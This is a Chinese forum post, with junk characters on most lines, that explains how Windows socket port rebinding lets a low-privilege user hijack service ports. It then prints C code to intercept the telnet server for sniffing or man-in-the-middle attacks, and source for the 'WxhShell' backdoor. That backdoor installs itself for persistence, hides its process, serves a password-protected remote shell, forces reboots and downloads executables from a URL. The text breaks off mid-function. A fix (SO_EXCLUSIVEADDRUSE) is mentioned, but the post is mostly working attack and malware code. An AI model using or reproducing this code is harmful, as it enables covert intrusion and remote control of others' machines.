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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iny/K/5bf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XS^du{ai  
V8o, e  
  saddr.sin_family = AF_INET; {IBbN05 ;  
(~F}O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J &=5h.G$  
:*|So5fs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6fBA #Kb  
F>[^m Xw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9aIv|cS?  
Q($@{[lT  
  这意味着什么?意味着可以进行如下的攻击: \ E5kpm  
ErsJWp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :(3'"^_NA  
|rhB@k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i^ILo,Q  
&,l7wK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )M[FPJP}  
3w[uc~f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |@R/JGB^  
&lzCRRnvt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tN.BI1nB  
]PL\;[b>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U%VFr#  
hmb=_W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?,hGKSC  
I7'v;*  
  #include KlBT9"6"  
  #include K@osD7-  
  #include =R9`to|  
  #include    _XrlCLp: d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q %tq9%  
  int main() i{Q,>Rt  
  { 7Ot&]M  
  WORD wVersionRequested; ?G&J_L=@Y  
  DWORD ret; Dp^=%F{t  
  WSADATA wsaData; J]48th0,  
  BOOL val; t0:~BYXu  
  SOCKADDR_IN saddr; +>a(9r|:  
  SOCKADDR_IN scaddr; es+ZPX>Y  
  int err; V!+<  
  SOCKET s; fbah~[5}  
  SOCKET sc; '?{L gj^R  
  int caddsize; -I#<?=0B  
  HANDLE mt; P$clSJW  
  DWORD tid;   ?&U~X)Q  
  wVersionRequested = MAKEWORD( 2, 2 ); 2U+Fa t@  
  err = WSAStartup( wVersionRequested, &wsaData ); i8R 2Y9Q*O  
  if ( err != 0 ) { lq  Av  
  printf("error!WSAStartup failed!\n"); V{qR/  
  return -1; qCm%};yt  
  } $\20Vgu<  
  saddr.sin_family = AF_INET; DC$> 5FDv  
   j \ #y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w/(2fU(  
4}YHg&@\d%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O=!EqaExW  
  saddr.sin_port = htons(23); +tYskx/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EzCi%>q  
  { uBM%E OE  
  printf("error!socket failed!\n"); 4QNwu7TeR  
  return -1; j zZEP4  
  } HGj[\kU~  
  val = TRUE; ?#ywUEY* i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y,<\d/YY@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YQO9$g0% ~  
  { \[B#dw#  
  printf("error!setsockopt failed!\n"); -b  )~  
  return -1; }72+i  
  } YB]^Y^"e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {qSYe!`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UM+g8J{$*;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >-`-D=!V  
6?0QzSpfC#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (|y@ ftr@  
  { }~<9*M-P  
  ret=GetLastError(); nqcD#HUv  
  printf("error!bind failed!\n"); +6<g N[  
  return -1; reoCyP\!!  
  } nC9x N  
  listen(s,2); ?V)M!  
  while(1) f+QDjJ?z  
  { Jy]}'eE?pr  
  caddsize = sizeof(scaddr); $1D>}5Ex  
  //接受连接请求 FJsg3D*@J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %w/:mH3FA  
  if(sc!=INVALID_SOCKET) K!!#";Eo  
  { p;2NO&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); emS7q|^  
  if(mt==NULL) :&O6Y-/B  
  { @Y&(1Wl  
  printf("Thread Creat Failed!\n"); wF['oUwHH  
  break; G\r>3Ys  
  } t@BhosR-  
  } tW3Nry  
  CloseHandle(mt); o{K#LP  
  } 1tCe#*|95  
  closesocket(s); <r8s= <:  
  WSACleanup(); U+ief?;4F  
  return 0; 2wYY0=k2  
  }   hOcVxSc.  
  DWORD WINAPI ClientThread(LPVOID lpParam) D}pN sQ  
  { gBy7 q09r  
  SOCKET ss = (SOCKET)lpParam; - I j  
  SOCKET sc; t hQ)J|1  
  unsigned char buf[4096]; T`Qg+Q$  
  SOCKADDR_IN saddr; R"JT+m  
  long num; io4/M<6<  
  DWORD val; {F*81q\  
  DWORD ret; Q$^Kf]pD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (#r>v h(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9J f.Ls  
  saddr.sin_family = AF_INET; <\5E{/7Tl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :c&F\Q=  
  saddr.sin_port = htons(23); pQBhheiM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9%bqY9NFd  
  { OjY#xO+'  
  printf("error!socket failed!\n"); /y5a~3  
  return -1; /m*+N9)  
  } Z E},x U%  
  val = 100; Q-$EBNz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E&2mFg  
  { FZJ sZeO  
  ret = GetLastError(); sfEy  
  return -1; rp,PhS  
  } :=,lG ou  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7@9R^,M4:  
  { h#I]gHQK  
  ret = GetLastError(); fBt`D !Z8  
  return -1; $3:O}X>  
  } >^+c s^jCM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xw83dQ]}^  
  { uI_h__  
  printf("error!socket connect failed!\n"); lEiOE]  
  closesocket(sc); .s>PDzM $  
  closesocket(ss); w!/se;_H+w  
  return -1; .c2Zr|X  
  } >{w"aJ" F  
  while(1) #F|w_P  
  { CB%O8d #  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p?4h2`P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $@4(Lq1.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uSn<]OrZo`  
  num = recv(ss,buf,4096,0); <S`N9a  
  if(num>0) p#fV|2'  
  send(sc,buf,num,0); K6; sxF  
  else if(num==0) Ni) /L( &  
  break; g{$F;qbkO  
  num = recv(sc,buf,4096,0); G' a{;3  
  if(num>0) tGh!5EZ6`  
  send(ss,buf,num,0); HCVMqG!  
  else if(num==0) Qo \;)  
  break; 3/?{= {  
  } @G>Q(a*,  
  closesocket(ss); 'hH3d"a^=  
  closesocket(sc); r4FGz!U  
  return 0 ; Umt?COc  
  } -c'~0g]<  
Ok6c E  
^# gR"\F`d  
========================================================== "yc_*R(pU  
C*1,aLSw  
下边附上一个代码,,WXhSHELL x $ oId{;  
d#]XyN>  
========================================================== Ct,|g =(  
u'Ua ++a\  
#include "stdafx.h" pz@wbu=($4  
n{v[mqm^  
#include <stdio.h> 3Zeh$DZ  
#include <string.h> j_2yTz"G-  
#include <windows.h> zd+<1R;  
#include <winsock2.h> | ?])]F  
#include <winsvc.h> CHX- 4-84{  
#include <urlmon.h> 982n G-"  
:")iS?l  
#pragma comment (lib, "Ws2_32.lib") 4! V--F  
#pragma comment (lib, "urlmon.lib") u!WjG@  
Yr9!</;T  
#define MAX_USER   100 // 最大客户端连接数 {E+o+2L  
#define BUF_SOCK   200 // sock buffer idh5neyL  
#define KEY_BUFF   255 // 输入 buffer } :8{z`4H  
vpl> 5%  
#define REBOOT     0   // 重启 3BWYSJ|  
#define SHUTDOWN   1   // 关机 y&$v@]t1  
z&r@c-l@  
#define DEF_PORT   5000 // 监听端口 ES&"zjr$  
*D$[@-7  
#define REG_LEN     16   // 注册表键长度 mUW4d3tE  
#define SVC_LEN     80   // NT服务名长度 9 EqU 2~  
1:r8p6  
// 从dll定义API P7`sJ("#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kX)Xo`^Ys  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2PrUI;J$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .W)%*~ O!;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &6mXsx$  
5bKm)|4z6  
// wxhshell配置信息 J$X{4  
struct WSCFG { {"x8 q  
  int ws_port;         // 监听端口 K~B@8az  
  char ws_passstr[REG_LEN]; // 口令 o> i`Jq&  
  int ws_autoins;       // 安装标记, 1=yes 0=no W~e/3#R\=  
  char ws_regname[REG_LEN]; // 注册表键名 ySk'#\d  
  char ws_svcname[REG_LEN]; // 服务名 xmI!N0eta  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :6r)HJ5sg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jR CG}'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AvS<b3EoN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k&h3"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y={_o!9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `"* ]C  
lQSKY}h  
}; )LP=IT  
$ 3/G)/A  
// default Wxhshell configuration Vo2{aK;  
struct WSCFG wscfg={DEF_PORT, 3RyB 0 n  
    "xuhuanlingzhe", CtO`t5  
    1, U94Tp A6  
    "Wxhshell", KPcOW#.T  
    "Wxhshell", A=S_5y  
            "WxhShell Service", 1D/9lR,  
    "Wrsky Windows CmdShell Service", Y "RjMyQh  
    "Please Input Your Password: ", ,XJ Xw(LM  
  1, I Y='tw  
  "http://www.wrsky.com/wxhshell.exe", O4mSr{HCp  
  "Wxhshell.exe" Fuuy_+p@G  
    }; W"a%IO%'  
a$r<%a6  
// 消息定义模块 L(bYG0ZI5C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (` N@4w=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X pH]CF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =I}8-AS~V  
char *msg_ws_ext="\n\rExit."; /Dl{I7W   
char *msg_ws_end="\n\rQuit."; _RHB ^y;-  
char *msg_ws_boot="\n\rReboot..."; ~rWys=  
char *msg_ws_poff="\n\rShutdown..."; M' d ,TV[  
char *msg_ws_down="\n\rSave to "; pS vqGJU3  
vl{G;[6  
char *msg_ws_err="\n\rErr!"; 4._ U  
char *msg_ws_ok="\n\rOK!"; pW>?%ft.  
y)B>g/Hoh  
char ExeFile[MAX_PATH]; *)6:yn  
int nUser = 0; O~1vX9  
HANDLE handles[MAX_USER]; eiJ 13`T  
int OsIsNt; )S;pYVVAl  
hrRkam !y  
SERVICE_STATUS       serviceStatus; Ob"48{w$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l*`2 EJ  
,a&&y0,  
// 函数声明 /kLG/ry8l:  
int Install(void); PSM~10l,  
int Uninstall(void); y]5c!N %8  
int DownloadFile(char *sURL, SOCKET wsh); j6NK 7Li  
int Boot(int flag); d0Jaa1b~O  
void HideProc(void); SGuLL+|W#8  
int GetOsVer(void); *C (/ 2  
int Wxhshell(SOCKET wsl); cM= ? {W7~  
void TalkWithClient(void *cs); 2th>+M~A  
int CmdShell(SOCKET sock); dZ1/w0<M2  
int StartFromService(void); yv@td+-"D  
int StartWxhshell(LPSTR lpCmdLine); sSM^net0  
^` 96L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8N8N)#A[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n%M-L[n  
{Gd<+tQg  
// 数据结构和表定义 _qZ?|;o^  
SERVICE_TABLE_ENTRY DispatchTable[] = HFr#Ql>g  
{ =Qa*-*  
{wscfg.ws_svcname, NTServiceMain}, h]6"~ m  
{NULL, NULL} iL%Q@!ka  
}; +EtL+Y (U  
0gs0[@  
// 自我安装 Q/y^ff]=  
int Install(void) zO)>(E?  
{ YL$#6d  
  char svExeFile[MAX_PATH]; /qYo*S_cG  
  HKEY key; wcdD i[E>i  
  strcpy(svExeFile,ExeFile); w;RG*rv  
\sUk71L` j  
// 如果是win9x系统,修改注册表设为自启动 RW#&f*  
if(!OsIsNt) { 5L'bF2SI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mr`Lxy9e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x2^Yvgc-  
  RegCloseKey(key); Guc~] B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |m^qA](M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 80p?qe  
  RegCloseKey(key); C1/<t)^  
  return 0; xS4B"/  
    } A 11w{`EM  
  } &s +DK `  
} !zd]6YL$  
else { {iyO96YI[^  
M=mzl750M  
// 如果是NT以上系统,安装为系统服务 C Rd1zDB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BRTM]tRZ  
if (schSCManager!=0) F)W7,^=X>-  
{ *$t<H-U-  
  SC_HANDLE schService = CreateService N^G:m~>  
  ( $6(,/}==0  
  schSCManager, yEaim~  
  wscfg.ws_svcname, E!~Ok  
  wscfg.ws_svcdisp, Slk__eC  
  SERVICE_ALL_ACCESS,  KKfC^g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +x7b9sHJ  
  SERVICE_AUTO_START, -R~!N#y  
  SERVICE_ERROR_NORMAL, `30og]F0YJ  
  svExeFile, Yt 9{:+[RK  
  NULL, @+gr>a1K#  
  NULL, RS$!TTeQ  
  NULL, [@l:C\2  
  NULL, ^[7ZBmS  
  NULL bVB_KE  
  ); iK#5nY].  
  if (schService!=0) Q\P?[i]  
  { ^`W8>czi  
  CloseServiceHandle(schService); 5$v,%~$Xds  
  CloseServiceHandle(schSCManager); '^T Q Ubw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); peA}/Jc  
  strcat(svExeFile,wscfg.ws_svcname); OZ/P@`kN.f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pl@3=s!~>~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f{b$Y3  
  RegCloseKey(key); Z*Sa%yf  
  return 0; KxEy N(n  
    } S(K}.C1x  
  } DNP %]{J  
  CloseServiceHandle(schSCManager); |C\%H R  
} *u2pk>y)  
} v4?qI >/  
"kLu]M<  
return 1; ,[64$=R8  
} MOiTz L*  
6' 9ITA  
// 自我卸载 o3_dHbdI  
int Uninstall(void) O4Wn+$AN  
{ sHk,#EsKH  
  HKEY key; 'nK(cKDIG  
*PXlbb  
if(!OsIsNt) { )FNvtLZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '7+e!>"  
  RegDeleteValue(key,wscfg.ws_regname); y>:-6)pv  
  RegCloseKey(key); j89C~xP6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i\2d1Z  
  RegDeleteValue(key,wscfg.ws_regname); J 8/]&Ow  
  RegCloseKey(key); #cN0ciCT'  
  return 0; 7e{w)m:A  
  } EFb1Y{u^\!  
} ,a:!"Z^ f  
} sH//*y  
else { &rTOJ 1)V}  
C^}2::Qu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); To x{Sk3L  
if (schSCManager!=0) ZyJdz+L{@V  
{ -Y*"!8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iIOA54!o  
  if (schService!=0) &"D *  
  { jTo-xP{lC  
  if(DeleteService(schService)!=0) { j%2l%Mx(  
  CloseServiceHandle(schService); px@:t}  
  CloseServiceHandle(schSCManager); q,#j *  
  return 0; [D]9M"L,vQ  
  } HFJna2B`  
  CloseServiceHandle(schService); 3DNw=Ic0k  
  } eYQq@lrWv  
  CloseServiceHandle(schSCManager); t0 [H_  
} rf2+~B{$,  
} y7K&@ Y  
hAPWEh^  
return 1; ^8,Y1r9`$  
} X8F@U ^@  
s 0}OsHAj  
// 从指定url下载文件 @yBg)1AL  
int DownloadFile(char *sURL, SOCKET wsh) &3 QdQ n,  
{ QJBzv|  
  HRESULT hr; F9hh- "(Z  
char seps[]= "/"; E0;KTcZi  
char *token; kC =e>v  
char *file; orGNza"A  
char myURL[MAX_PATH]; 6$1dd#  
char myFILE[MAX_PATH]; ohK_~  
9uV'# sR  
strcpy(myURL,sURL); 'baew8Q#  
  token=strtok(myURL,seps); \q2#ef@2  
  while(token!=NULL) CNC3">Dk~9  
  { {-(}p+;z  
    file=token; ZI'MfkEZ*  
  token=strtok(NULL,seps); A]fN~PR  
  } 7j9:s>D  
Yx- 2ux  
GetCurrentDirectory(MAX_PATH,myFILE); ;Z\1PwT  
strcat(myFILE, "\\"); jOJ$QT  
strcat(myFILE, file); X!}  t``  
  send(wsh,myFILE,strlen(myFILE),0); w"s;R8  
send(wsh,"...",3,0); %M=[h2SN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m5O;aj* i  
  if(hr==S_OK) v/n4Lp$W^  
return 0; \a:#e%]qz9  
else &RRHmJI:  
return 1; g7($lt>  
|}~2=r z  
} 7H$0NMP  
TU6e,G|t  
// 系统电源模块 ^;";fr Vw  
int Boot(int flag) 4)L(41h  
{ nXgnlb=  
  HANDLE hToken; Yp_ L.TTb  
  TOKEN_PRIVILEGES tkp; C- Aiv@@<=  
"O{_LOJ  
  if(OsIsNt) { nz72w_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hE|Z~5\Y,>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p.{M sn  
    tkp.PrivilegeCount = 1; V3%"z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3 ;M7^DM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <eU1E }BDQ  
if(flag==REBOOT) { k)Y}X)\36  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^ olaq(z  
  return 0; fE1B1j<  
} 6jv_j[[  
else { d~bZOy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XLEEd?Vct9  
  return 0; {!? @u?M  
} !N\<QRb\q  
  } _zAHN0d  
  else { R+'$V$g\X  
if(flag==REBOOT) { w! J|KM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ET]PF,`  
  return 0; 6OBe^/ZRt  
} d~i WV6Va  
else { ?gknJ:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gm,vLs9H$T  
  return 0; }2WscxL  
} ~r/"w'dB  
} 3AKT>Wy =  
'r&az BO  
return 1; G,tJ\xMw8  
} v"nN[_T  
Bw;gl^:UG  
// win9x进程隐藏模块 r57&F`{  
void HideProc(void) 1&zvf4  
{ cT2&nZ  
)gOVnA/M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C$"N)6%q  
  if ( hKernel != NULL ) )?5027^  
  { kEQ1&9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;yfKYN[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;kSRv=S  
    FreeLibrary(hKernel); 3Go/5X/  
  } vrRbUwL!  
Z XCq>  
return; j -l#n&M  
} #xUX1(  
``;.Oy6jS  
// 获取操作系统版本 ChvSUaCS  
int GetOsVer(void) 12 8aJ  
{ H1?t2\V4  
  OSVERSIONINFO winfo; [v@3|@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SM57bN  
  GetVersionEx(&winfo); }ufzlHD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8Zj=:;  
  return 1; N>R\,n|I  
  else 3.i$lp`t  
  return 0; #?x!:i$-  
} eAU0 8gM.  
to2; . ~X  
// 客户端句柄模块 r] h>Bb  
int Wxhshell(SOCKET wsl) '}4z=f`}  
{ `IP?w&k)  
  SOCKET wsh; iA~LH6  
  struct sockaddr_in client; D4@).%  
  DWORD myID; r6.`9  
CbvP1*1  
  while(nUser<MAX_USER) [Lck55V+Q  
{ xq6 eu 9   
  int nSize=sizeof(client); d#-scv}s5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !,Ou:E?Bb  
  if(wsh==INVALID_SOCKET) return 1; uDtml$9rN  
Vd+qi~kA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l*r8.qp  
if(handles[nUser]==0) /KU9sIE;  
  closesocket(wsh); X;e=d+pw  
else _f5>r(1Q  
  nUser++; 7aF'E1e'3  
  } ZmLA4<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pZE}<EX  
QN4{xf:}S  
  return 0; BlLK6"gJT  
} .uh>S!X, ]  
]%%I=r  
// 关闭 socket Z\YCjs%  
void CloseIt(SOCKET wsh) 7 XNZEi9o  
{ Ow#a|@  
closesocket(wsh); ]_"c_QG  
nUser--; X!aC6gujOH  
ExitThread(0); (:(Im k;9  
} _i3?;Fds  
M]Kx g;  
// 客户端请求句柄 tPp9=e2[s  
void TalkWithClient(void *cs) I cJy$+  
{ f|v5i tO2  
<?2g\+{s9  
  SOCKET wsh=(SOCKET)cs; CXQ+h  
  char pwd[SVC_LEN]; 5dvP~sw  
  char cmd[KEY_BUFF]; WyA`V C  
char chr[1]; J-UqH3({Z,  
int i,j; mNII-X G  
lU\v8!Ji  
  while (nUser < MAX_USER) { |o@xWs@m  
Ub,5~I+`  
if(wscfg.ws_passstr) { ,`pUz[wl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n 3eLIA{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~=P#7l\o1  
  //ZeroMemory(pwd,KEY_BUFF); mm dQ\\  
      i=0; WMw|lV r  
  while(i<SVC_LEN) { C vOH*K'  
A!^ d8#~.  
  // 设置超时 +#RgHo?f  
  fd_set FdRead; =(==aP  
  struct timeval TimeOut; }5Zmc6S{  
  FD_ZERO(&FdRead); kTW[)  
  FD_SET(wsh,&FdRead); 1 $m[# 3  
  TimeOut.tv_sec=8; +L\Dh.Ir  
  TimeOut.tv_usec=0; gmqL,H#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [PIh^ DhK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5cF7w  
QmKEl|/{u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nk*T x  
  pwd=chr[0]; kEYkd@ {  
  if(chr[0]==0xd || chr[0]==0xa) { _:1s7EC  
  pwd=0; tLE7s_^  
  break; ,q K'!  
  } 1 u~Xk?  
  i++; c{"qrwLA  
    } NiSybyR$  
@$7'{*  
  // 如果是非法用户,关闭 socket tqFE>ojlI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ajm  
} oypF0?!m  
 NZu2D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z ~3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q{o]^tN  
Z[G[.\0  
while(1) { W^,(we  
9dO. ,U*`  
  ZeroMemory(cmd,KEY_BUFF); 7~qyz]KkE  
Yq-Vwh/  
      // 自动支持客户端 telnet标准   {9XN\v=$"*  
  j=0; :^En\YcU  
  while(j<KEY_BUFF) { X( )yhe_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4T>d%Tt+)  
  cmd[j]=chr[0]; [BTOs4f  
  if(chr[0]==0xa || chr[0]==0xd) { " Ng%"Nz  
  cmd[j]=0; oFi_ op  
  break; [9C{\t  
  } X|'[\v2ld  
  j++; iu iVr$E  
    } .[:y`PCF  
5v[2R.eT-  
  // 下载文件 nIqNhJ+  
  if(strstr(cmd,"http://")) { NX&Z=ObHu}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  6hO]eS  
  if(DownloadFile(cmd,wsh)) S }3?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ce<88dL  
  else s$Vz1B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZA7b;{o [  
  } W_L;^5Y;m  
  else { "rnVPHnQR  
W|L#Q/ RX  
    switch(cmd[0]) { !!<H*9]+W;  
  3kavzB[  
  // 帮助 v05$"Ig  
  case '?': { ++!'6! l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0i>>CvAl}  
    break; <xlyk/  
  } Tl L,dPM  
  // 安装 FL[,?RU?2  
  case 'i': { $ vBFs]h  
    if(Install()) tx$`1KA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b?j\YX[e  
    else bo-lT-I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Sv}/ P-  
    break; `hDH7u!U.  
    } HE:]zH  
  // 卸载 (&1 56 5  
  case 'r': { 6(/*E=bOKV  
    if(Uninstall()) ID~}pEQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fD*jzj7o ,  
    else f<;eNN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x3l~kZ(  
    break; W+i&!'  
    } tfdb9# &?  
  // 显示 wxhshell 所在路径 r-AD*h@QZ  
  case 'p': { gLwrYG7@  
    char svExeFile[MAX_PATH]; .1:B\ R((  
    strcpy(svExeFile,"\n\r"); e3k58  
      strcat(svExeFile,ExeFile); r8Z.}<j  
        send(wsh,svExeFile,strlen(svExeFile),0); UmLBoy&*  
    break; EvptGM  
    } : j`4nXm  
  // 重启 X`A+/{ H  
  case 'b': { 7;a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ae* 6&R4  
    if(Boot(REBOOT)) 6eQa @[.Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !l$k6,WJi  
    else { <C_FRpR<f  
    closesocket(wsh); q4SEvP}fLx  
    ExitThread(0); LaYd7Oyf]  
    } ^|(VI0KO  
    break; ZKJhmk  
    } u =lsH  
  // 关机 YJ}9VY<}1K  
  case 'd': { t8ORfO+  
